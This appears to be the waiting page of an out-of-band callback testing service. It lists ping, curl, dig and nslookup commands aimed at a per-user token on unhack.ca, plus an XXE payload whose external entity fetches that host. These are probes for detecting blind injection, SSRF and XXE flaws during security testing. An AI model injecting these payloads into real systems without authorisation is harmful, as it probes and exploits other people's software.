$ ping -c1 -p 001f8ed6626af403241373179f890d00 unhack.ca
 
$ curl http://unhack.ca/p/1f8ed6626af403241373179f890d
 
$ dig 1f8ed6626af403241373179f890d @unhack.ca
 
$ dig 1f8ed6626af403241373179f890d.ns.unhack.ca
 
C:\> nslookup 1f8ed6626af403241373179f890d unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/1f8ed6626af403241373179f890d">]>
    <foo>&xxe;</foo>
Waiting for ping...